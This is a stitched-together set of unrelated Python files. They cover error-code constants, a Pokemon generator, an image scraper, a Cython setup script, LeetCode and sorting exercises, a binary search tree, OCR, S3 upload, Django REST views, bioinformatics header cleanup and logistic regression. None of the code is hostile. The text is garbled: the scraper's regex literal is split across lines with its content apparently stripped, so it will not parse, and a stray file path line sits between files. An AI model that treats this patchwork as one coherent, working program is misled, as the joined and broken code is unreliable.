# Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston,
# MA 02110-1301, USA.

ERROR_INVALIDE_FILENAME = 1
ERROR_INVALIDE_DIRNAME = 2
ERROR_IS_NOT_FILE = 3
ERROR_IS_NOT_DIRECTORY = 4
ERROR_CREATE_FILE = 5
ERROR_CREATE_DIRECTORY = 6
ERROR_NOT_EXIST_FILE = 7
ERROR_NOT_EXIST_DIRECTORY = 8
ERROR_CAN_NOT_REMOVE_FILE = 9
ERROR_CAN_NOT_REMOVE_DIRECTORY = 10
ERROR_GET_ON_LOCAL_HOST = 11
ERROR_RENAME_FILE = 12
ERROR_REMOVE_FILE = 13
ERROR_PERMISSION = 14
ERROR_I_CAN_CHANGE_ATTRIBUTE_OF_FILE = 15
ERROR_DIRECTORY_NAME_IS_EMPTY = 16
ERROR_I_CAN_NOT_CREATE_DIRECTORY_IT_ALREADY_EXIST = 17
ERROR_I_CAN_NOT_REMOVE_DIRECTORY_IT_DO_NOT_EXIST = 18
ERROR_REMOVE_DIRECTORY = 19
ERROR_I_CAN_NOT_EXECUTE_FILE = 20
ERROR_FILE_TO_UPLOAD_NOT_EXIST = 21
ERROR_I_CAN_NOT_UPLOAD_FILE = 22
ERROR_CUSTOM = 42
ERROR_UNKOWN = 4242

errors = {
    'ERROR_INVALIDE_FILENAME':"err_invalide_filename",
    'ERROR_INVALIDE_DIRNAME':"err_invalide_dirname",
    'ERROR_IS_NOT_FILE':"err_isnt_file",
    'ERROR_IS_NOT_DIRECTORY':"err_isnt_dire",
    'ERROR_CREATE_FILE':"err_create_file",
    'ERROR_CREATE_DIRECTORY':"err_create_dir",
    'ERROR_NOT_EXIST_FILE':"err_not_exist_file",
    'ERROR_NOT_EXIST_DIRECTORY':"err_not_exist_dir",
    'ERROR_CAN_NOT_RM_FILE':"err_cant_rm_file",
    'ERROR_CAN_NOT_RM_DIR':"err_cant_rm_dir",
    'ERROR_PERMISSION':"err_perm",
    'ERROR_DEFAULT':"err_default"
}


import random
from Pokemon import Pokemon

class PokemonMaker:

    PRESETS = [('Sunflora', 'Grass'),
               ('Rapidash', 'Fire'),
               ('Krabby', 'Water'),
               ('Charmander', 'Fire'),
               ('Grovyle', 'Grass'),
               ('Wartortle', 'Water')]
    MIN_LEVEL = 1
    MAX_LEVEL = 5

    def make():
        preset = random.choice(PokemonMaker.PRESETS)
        level = random.randint(PokemonMaker.MIN_LEVEL, PokemonMaker.MAX_LEVEL)
        return Pokemon(preset[0], preset[1], level)


import requests
import os
import re

headers = {
    'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/94.0.4606.81 Safari/537.36'
    }

ex = '
.*?<img src="(.*?)" alt.*?
'

if not os.path.exists('C:\\Users\\未央\\Desktop\\糗图'):
        os.mkdir('C:\\Users\\未央\\Desktop\\糗图')

for no in range(1,14):

    URL = 'https://www.qiushibaike.com/imgrank/' + 'page/' + str(no) + '/'

    res = requests.get(url = URL, headers = headers).text #返回网页的html文件
    img_src = re.findall(ex, res, re.S)

    if not os.path.exists('C:\\Users\\未央\\Desktop\\糗图\\page ' + str(no)):
        os.mkdir('C:\\Users\\未央\\Desktop\\糗图\\page ' + str(no))

    for img in img_src:
        addr = 'https:' + img
        print(addr)
        res = requests.get(url = addr, headers = headers).content #获取每张图片的地址
        #生成图片名称
        img_name = img.split('/')[-1]
        img_path = 'C:\\Users\\未央\\Desktop\\糗图\\page ' + str(no) + '\\' + img_name

        with open(img_path, 'wb') as f:
            f.write(res)
    print('第' + str(no) + '页下载完成')


import os
from distutils.core import setup
from distutils.extension import Extension
from Cython.Build import cythonize

PXD_include = os.environ['PYCPPTRAJ_HOME'] + "/PXD/"
cpptraj_include = os.environ['AMBERHOME'] + "/AmberTools/src/cpptraj/src/"

setup(
      ext_modules = cythonize([
          Extension("*", ["*.pyx",],
                    libraries=['cpptraj'],
                    library_dirs=[cpptraj_include,],
                    include_dirs=[PXD_include, cpptraj_include])
          ])
     )


# Definition for singly-linked list.
# class ListNode(object):
#     def __init__(self, val=0, next=None):
#         self.val = val
#         self.next = next
class Solution(object):
    def addTwoNumbers(self, l1, l2):
        """
        :type l1: ListNode
        :type l2: ListNode
        :rtype: ListNode
        """

        str1, str2 = "", ""
        while l1:
            str1 += str(l1.val)
            l1 = l1.next
        while l2:
            str2 += str(l2.val)
            l2 = l2.next

        result = int(str1[::-1]) + int(str2[::-1])

        size = len(str(result))
        head = ListNode(int(str(result)[-1]))
        temp = head
        for i in range(size - 2, -1, -1):
            temp.next = ListNode(int(str(result)[i]))
            temp = temp.next
            # print(temp)

        temp.next = None
        return head


from PIL import Image
import pytesseract

# If you don't have tesseract executable in your PATH, include the following:
pytesseract.pytesseract.tesseract_cmd = r'C:/Program Files/Tesseract-OCR/tesseract.exe'
# Example tesseract_cmd = r'C:\Program Files (x86)\Tesseract-OCR\tesseract'

image = Image.open('Untitled.jpg')
# Example of adding any additional options
custom_oem_psm_config = r'--psm 6 -l eng -c tessedit_char_whitelist="ABCDEFGHIJKLMNOPQRSTUVWXYZ 0123456789"'
result = pytesseract.image_to_string(image, config=custom_oem_psm_config)

print(result)


# -*- coding:utf-8 -*-
'''此函数的功能是递归将指定文件夹下的指定后缀的文件复制到目标路径下'''

import os
import shutil
cnt =0
def searchDirFile(rootDir,saveDir):
    global cnt
    prename = '0000000'
    for dir_or_file in os.listdir(rootDir):
        filePath = os.path.join(rootDir, dir_or_file)
        # 判断是否为文件
        if os.path.isfile(filePath):
            # 如果是文件再判断是否以.jpg结尾，不是则跳过本次循环
            if os.path.basename(filePath).endswith('.xml'):
                cnt += 1
                print('imgBox fileName is '+ os.path.basename(filePath))
                # 拷贝jpg文件到自己想要保存的目录下
                shutil.copyfile(filePath,os.path.join(saveDir,os.path.basename(filePath)))
                shutil.copyfile(filePath[:-4] + '.jpg', os.path.join(saveDir, os.path.basename(filePath[:-4] + '.jpg')))
                os.rename(os.path.join(saveDir,os.path.basename(filePath)),os.path.join(saveDir,prename[:len(prename)-len(str(cnt))]+str(cnt)+'.xml'))
                os.rename(os.path.join(saveDir, os.path.basename(filePath[:-4] + '.jpg')),os.path.join(saveDir,prename[:len(prename)-len(str(cnt))]+str(cnt)+'.jpg'))

            else:
                continue
        # 如果是个dir，则再次调用此函数，传入当前目录，递归处理。
        elif os.path.isdir(filePath):
            searchDirFile(filePath,saveDir)
        else:print('not file and dir '+os.path.basename(filePath))
    print('done')

if __name__ == '__main__':
    rootDir='/home/mengxianchi/train_img/AK_CLW/data/zip'

    saveDir=os.path.abspath(os.path.join(rootDir, ".."))
    saveDir = saveDir+ '/files'
    if not os.path.exists(saveDir):
        os.mkdir(saveDir)

    searchDirFile(rootDir,saveDir)

tools/1jpg_xml为主_递归将指定文件夹下的指定后缀的文件复制到目标路径下 .py


from ..kernel_mean import KernelMean
import numpy as np

def maximum_mean_discrepancy(X, Y, kernel=None):
    """[summary]
    Compute Maximum Mean Discrepancy: ||m_X-m_Y||^2 = 1/(N^2) k(X,X) + 1/(M^2) k(Y,Y) - 2*1/(NM) k(X,Y)
    Args:
        X (ndarray or KernelMean):
        Y (ndarray or KernelMean):
        kernel (kernel class, optional): Defaults to None.

    Returns:
        [type]: [description]
    """
    if kernel is not None:
        MMD = kernel.kde(X, X).mean() + kernel.kde(Y, Y).mean() - 2 * kernel.kde(X, Y).mean()
        return MMD

    if not isinstance(X, KernelMean):
        raise TypeError(f"X shuld be KernelMean class, but got {type(X)}")
    if not isinstance(Y, KernelMean):
        raise TypeError(f"Y shuld be KernelMean class, but got {type(Y)}")

    X_samples = X.data.values
    Y_samples = Y.data.values
    kernel_X = X.kernel
    kernel_Y = Y.kernel
    weights_X = X.weights.copy()
    weights_Y = Y.weights.copy()
    if np.any(kernel_X.cov != kernel_Y.cov) or np.any(kernel_X.sigma != kernel_Y.sigma):
        raise ValueError("X kernel and Y kernel must be the same")

    MMD = np.dot(weights_X.T, np.dot(kernel_X.kde(X_samples, X_samples), weights_X))\
        + np.dot(weights_Y.T, np.dot(kernel_X.kde(Y_samples, Y_samples), weights_Y))\
        - 2 * np.dot(weights_X.T, np.dot(kernel_X.kde(X_samples, Y_samples), weights_Y))
    return MMD

# def MaximumMeanDiscrepancy_of_normal_pdf_and_kernel_mean(kernelmean, mu, sigma):
#     if not isinstance(kernelmean, KernelMean):
#         raise TypeError(f"kernelmean shuld be KernelMean class, but got {type(kernelmean)}")
#
#     w = kernelmean.weights
#     cov_kernel_mean = kernelmean.kernel.cov
#     samples = kernelmean.data.values
#     if cov_kernel_mean.shape != (1,1):
#         raise TypeError(f"kernelmean covariance shuld be scolar.")
#
#     K = gauss_kernel.gauss_kernel(n_features=1, covariance=(sigma**2+cov_kernel_mean))
#     val = K.pdf(samples,np.atleast_2d(mu))
#     cross_term = -2*np.dot(w,val)*np.sqrt(cov_kernel_mean)/np.sqrt(cov_kernel_mean+sigma**2)
#     normal_pdf_term = np.sqrt(cov_kernel_mean)/np.sqrt(2*sigma**2+cov_kernel_mean)
#
#     return np.dot(w, np.dot(w, kernelmean.kernel.pdf(samples,samples))) + cross_term + normal_pdf_term


N = int(input())
data = list()
result = list()

def quick_sort(data):
    if len(data) <= 1:
        return data
    left = list()
    right = list()
    pivot = data[0]

    for j in range(1,len(data)):
        if data[j] > pivot:
            right.append(data[j])
        else:
            left.append(data[j])
    return quick_sort(left) + [pivot] + quick_sort(right)

def merge(left,right):
    merged = list()
    left_pivot,right_pivot = 0,0

    while len(left) > left_pivot and len(right) > right_pivot:
        if left[left_pivot] > right[right_pivot]:
            merged.append(right[right_pivot])
            right_pivot += 1
        else:
            merged.append(left[left_pivot])
            left_pivot += 1

    while len(left) > left_pivot:
        merged.append(left[left_pivot])
        left_pivot += 1

    while len(right) > right_pivot:
        merged.append(right[right_pivot])
        right_pivot += 1

    return merged

def mergesplit(data):
    if len(data) <= 1:
        return data
    left = mergesplit(data[:int(len(data)/2)])
    right = mergesplit(data[int(len(data)/2):])
    return merge(left,right)

for i in range(N):
    data.append(int(input()))

result = mergesplit(data)
for i in range(len(data)):
    print(result[i])


class Node:
    def __init__(self, key, left=None, right=None):
        self.key = key
        self.left = left
        self.right = right

class BinarySearchTree:
    def __init__(self):
        self.root = None

    def insert(self, key):
        self.root = self._insert_key(self.root, key)

    def _insert_key(self, node, key):
        if node is None:
            node = Node(key)
        else:
            if key <= node.key:
                node.left = self._insert_key(node.left, key)
            else:
                node.right = self._insert_key(node.right, key)
        return node

    def find(self, key):
        return self._find_key(self.root, key)

    def _find_key(self, node, key):
        if node is None:
            return False

        if node.key == key:
            return True

        if key < node.key:
            return self._find_key(node.left, key)
        else:
            return self._find_key(node.right, key)

    def delete(self, key):
        self.root, deleted = self._delete_key(self.root, key)
        return deleted

    def _delete_key(self, node, key):
        if node is None:
            return node, False

        deleted = False
        if key == node.key:
            deleted = True
            if node.left and node.right:  # 자식 2명
                parent, child = node, node.right
                while child.left is not None:
                    parent, child = child, child.left
                child.left = node.left
                if parent != node:
                    parent.left = child.right
                    child.right = node.right
                node = child

            elif node.left or node.right:  # 자식 1명
                if node.left:
                    node = node.left
                else:
                    node = node.right

            else:  # 자식 x
                node = None
        elif key < node.key:
            node.left, deleted = self._delete_key(node.left, key)
        else:
            node.right, deleted = self._delete_key(node.right, key)

        return node, deleted

def levelorder(node):
    q = [node]
    while q:
        iter = q.pop(0)
        print(iter.key, end=' ')
        if iter.left:
            q.append(iter.left)
        if iter.right:
            q.append(iter.right)

bst = BinarySearchTree()
arr = [5, 2, 4, 22, 10, 12, 15, 60, 44, 8, 9]
for i in arr:
    bst.insert(i)

bst.delete(5)
levelorder(bst.root)


#!/usr/bin/env python
# -*- coding: utf-8 -*-

import argparse
import math
from uuid import uuid4

import numpy as np

import config
from sentence_retrieval.sent_tfidf import OnlineTfidfDocRanker
from chaonan_src._utils.doc_utils import read_jsonl
from chaonan_src._utils.spcl import spcl
from chaonan_src.doc_retrieval_experiment import DocRetrievalExperiment
from utils.fever_db import get_all_sent_by_doc_id, get_cursor

__author__ = ['chaonan99']

def tf_idf_rank(args, top_k=5):
    dev_path = config.PRO_ROOT / \
               'results_old/doc_retri/docretri.basic.nopageview/dev.jsonl'

    cursor = get_cursor()
    d_list = read_jsonl(dev_path)

    d_list_test = d_list

    for i, item in enumerate(spcl(d_list_test)):
        all_sent = []
        all_ids = [it[0] for it in item['prioritized_docids']]

        try:

            for doc_id in all_ids:
                r_list, _ = get_all_sent_by_doc_id(cursor,
                                                   doc_id,
                                                   with_h_links=False)
                all_sent.append(' '.join(r_list))

            ranker = OnlineTfidfDocRanker(args,
                                          args.hash_size,
                                          args.ngram,
                                          all_sent)
        except Exception as e:
            if i - 1 >= 0:
                print(f'Early quit at {i-1} because of {e}')
                save_path = config.RESULT_PATH / \
                            'doc_retri/docretri.tfidfrank/' \
                            f'dev_quit_dump_{uuid4()}.json'
                DocRetrievalExperiment.dump_results(d_list_test[:i], save_path)
            raise e

        rank_ind, rank_score = \
            ranker.closest_docs(' '.join(item['claim_tokens']), k=100)
        id_score_dict = {docid: 0 for docid in all_ids}
        id_score_dict.update({all_ids[ri]: rs \
                              for ri, rs in zip(rank_ind, rank_score)})
        item['prioritized_docids'] = [(k, v) for k, v in id_score_dict.items()]
        item['predicted_docids'] = \
                list(set([k for k, v \
                            in sorted(item['prioritized_docids'],
                                      key=lambda x: (-x[1], x[0]))][:top_k]))

    save_path = config.RESULT_PATH / 'doc_retri/docretri.tfidfrank/dev.json'
    DocRetrievalExperiment.dump_results(d_list_test, save_path)

def eval():
    save_path = config.RESULT_PATH / 'doc_retri/docretri.tfidfrank/dev_toy.json'
    d_list = read_jsonl(save_path)
    DocRetrievalExperiment.print_eval(d_list)

def main(args):
    tf_idf_rank(args)
    # eval()

if __name__ == '__main__':
    parser = argparse.ArgumentParser()
    parser.add_argument('--ngram', type=int, default=2,
                        help=('Use up to N-size n-grams '
                              '(e.g. 2 = unigrams + bigrams)'))
    parser.add_argument('--hash-size', type=int, default=int(math.pow(2, 24)),
                        help='Number of buckets to use for hashing ngrams')
    parser.add_argument('--num-workers', type=int, default=None,
                        help='Number of CPU processes (for tokenizing, etc)')
    args = parser.parse_args()
    main(args)


import boto3
from datetime import datetime
import re

fl=input("Enter filename ")
print(re.search('\d{8}', fl) )
print(datetime.today().date().strftime("%d%m%Y"))
mat= re.search('\d{8}', fl)

if re.search('\d{8}', fl).group() == datetime.today().date().strftime("%d%m%Y"):
    print('inside if')
#function to download file from S3
    def dwn(key):
# Let's use Amazon S3
        s3 = boto3.client('s3')

#for bucket in s3.buckets.all():
#    print(bucket.name)

#	list=s3.list_objects(Bucket='prac-1')['Contents']
        s3.download_file('prac-1', key , key)
        print('down')

# function to upload file into s3
    def upl(key):
        bucketName = "Your S3 BucketName"

#    Key = "Original Name and type of the file you want to upload into s3"
#    outPutname = "Output file name(The name you want to give to the file after we upload to s3)"

        s3 = boto3.client('s3')
        s3.upload_file(key, 'uploadprac',key)
        print('upload')

    upl(fl)
# file name
else:
    print('inside else')


from rest_framework.decorators import api_view
from rest_framework.response import Response
from rest_framework import status
from movie_app.models import Director, Movie, Review
from movie_app.serializers import *

@api_view (['GET'])
def director_list_view(request):
    director = Director.objects.all()
    serializer = DirectorListSerializer(director, many=True)
    return Response(data=serializer.data)

@api_view (['GET'])
def director_detail_view(request, id):
    try:
        director = Director.objects.get(id=id)
    except Director.DoesNotExist:
        return Response(data={'Error':'Product not found'},
                        status=status.HTTP_404_NOT_FOUND)
    data = DirectorDetailSerializer(director).data
    return Response(data=data)

@api_view (['GET'])
def movie_list_view(request):
    movies = Movie.objects.all()
    serializer = MovieListSerializer(movies, many=True)
    return Response(data=serializer.data)

@api_view (['GET'])
def movie_detail_view(request, id):
    try:
        movies = Movie.objects.get(id=id)
    except Movie.DoesNotExist:
        return Response(data={'Error':'Product not found'},
                        status=status.HTTP_404_NOT_FOUND)
    data = MovieListSerializer(movies).data
    return Response(data=data)

@api_view (['GET'])
def review_list_view(request):
    review = Review.objects.all()
    serializer = ReviewListSerializer(review, many=True)
    return Response(data=serializer.data)

@api_view (['GET'])
def review_detail_view(request, id):
    try:
        review = Review.objects.get(id=id)
    except Review.DoesNotExist:
        return Response(data={'Error':'Product not found'},
                        status=status.HTTP_404_NOT_FOUND)
    data = ReviewDetailSerializer(review).data
    return Response(data=data)


import os, shutil
from pathlib import Path
from FUNCTION.timer import Timer

def removePB(header):
    """Remove from the header of an alignment the information
       on its length automatically added by trimAl"""
    liste_header = header.split(" ")
    new_header = str.join(" ", liste_header[0:-2]) + "\n"
    return new_header

def correctHeader(file_trimAl_original, file_trimAl_header_corrected):
    """Rewrite a file by removing from the header of each alignment the
       information on its length automatically added by trimAl"""
    input_handle = open(file_trimAl_original)
    output_handle = open(file_trimAl_header_corrected, "w")
    for l in input_handle:
        if l[0] == ">":
            l = removePB(l)
            output_handle.write(l)
        else:
            output_handle.write(l)
    output_handle.close()
    input_handle.close()

def saveTrimHeaderCorrected(folder_trimAl_original, folder_trimAl_header_corrected):
    """ For each file in folder_trimAl_original, rewrite it by removing from the header
        of each alignment the information on its length automatically added by trimAl"""
    t = Timer()
    t.start()
    path_folder_trimAl_header_corrected = folder_trimAl_header_corrected+ '/'
    if os.path.isdir(path_folder_trimAl_header_corrected):
        shutil.rmtree(path_folder_trimAl_header_corrected)
    os.mkdir(path_folder_trimAl_header_corrected)

    path_folder_trimAl_original = Path(folder_trimAl_original+ '/')
    files_in_path_trimAl_original = path_folder_trimAl_original.iterdir()

    for file_trimAl_original in files_in_path_trimAl_original:
        num_accession = os.path.basename(file_trimAl_original).split(".")[0] + '.' + os.path.basename(file_trimAl_original).split(".")[1]
        file_trimAl_header_corrected = num_accession + '.fasta.trim'
        correctHeader(file_trimAl_original, path_folder_trimAl_header_corrected + file_trimAl_header_corrected)
    t.stop("Headers correction after trimAl rename process")

if __name__ == '__main__':
    #saveTrimHeaderCorrected("Pfam_fasta_trimAl_gappyout", "Pfam_fasta_trimAl_gappyout_header_corrected")   # 20.75643 s
    saveTrimHeaderCorrected("Pfam_fasta_trimAl_nogaps", "Pfam_fasta_trimAl_nogaps_header_corrected")  # 17.33124 s


import argparse
import sys
sys.path.append('/home/panther/SocialSpace/')
import znanalysis.Spider.HupuAPISail as hupu

def main():

    main_parser = argparse.ArgumentParser(add_help=False)
    main_parser.description = 'Command line interface of hupu argparser'
    main_parser.add_argument('-kw', '--keyword', help='search keyword')
    main_parser.add_argument('-p', '--pagelimit', help='max number of pages to search')

    args = main_parser.parse_args()
    opt = vars(args)

    h = hupu.HupuMongo()
    h.get_hupu_data(opt.get('keyword'), opt.get('pagelimit'))

if __name__ == "__main__":
    main()


import pandas as pd
import numpy as np
import matplotlib.pyplot as plt
from scipy.optimize import minimize

def sigmoid(X):
    return 1/(1+np.exp(-X))

def costFunction(theta,X,Y):
    h = sigmoid(X.dot(theta));
    m = len(Y);
    J = (1/m) * sum(np.matmul(-Y.T,np.log(h)) - np.matmul((1-Y).T,np.log(1-h)) );
    return J;

def gradient(theta,X,Y):
   h = sigmoid(X.dot(theta.reshape(-1,1)));
   m = len(Y)
   grad =(1/m) *(X.T.dot(h-Y))
   return (grad.flatten())

def predict(theta, X):
    p = sigmoid(X.dot(theta)) >=0.5
    return p;

#Reading the data
data = pd.read_csv("ex2data1.txt",sep=",",header=None,names=["score1", "score2", "result"])

x1 = data[["score1"]].values
x2 = data[["score2"]].values
Y = data[["result"]].values

# Adding X0(ones)
X_dataframe = data;
del X_dataframe['result']
X_dataframe.insert(0,'ones',1)

#Converting to matrix
X = X_dataframe.as_matrix();

#Plotting the data
for i in range(0,len(Y)):

    if Y[i]==0:
       a = plt.scatter(x1[i], x2[i],color="r")

    else:
       b = plt.scatter(x1[i],x2[i],color="b",marker='+')

plt.legend((a,b),('Not admitted','Admitted'))

plt.xlabel("Exam 1 score")
plt.ylabel("Exam 2 score")

#Initial theta
[a,n]=X.shape;
theta = np.zeros((n,1));

#Cost function for initial theta
print("Cost function for initial theta is:",costFunction(theta,X,Y));

#Gradient for initial theta
print("Gradient at initial theta: ", gradient(theta,X,Y))

#Optimal theta
res = minimize(costFunction, theta, args=(X,Y), method=None, jac=gradient, options={'maxiter':400})

print("Cost function for optimal theta is:",costFunction(res.x.T,X,Y));
print("Gradient at optimal theta: ", gradient(res.x.T,X,Y));

#Predicting the result
#Exam score 1 : 45, Exam score 2 : 85
testSample = np.array([1,45,85]);
optimalTheta = res.x.T;
prediction = sigmoid(testSample.dot(optimalTheta));

plt.scatter(45,85,color='black',marker=',');

print("Prediction for student:", prediction)

#Training accuracy
p = predict(res.x, X)
rightPredictions=0;
for i in range(0,len(p)):
    if p[i]==Y[i]:
      rightPredictions+=1;

print("Training accuracy", rightPredictions/len(p)*100, "%")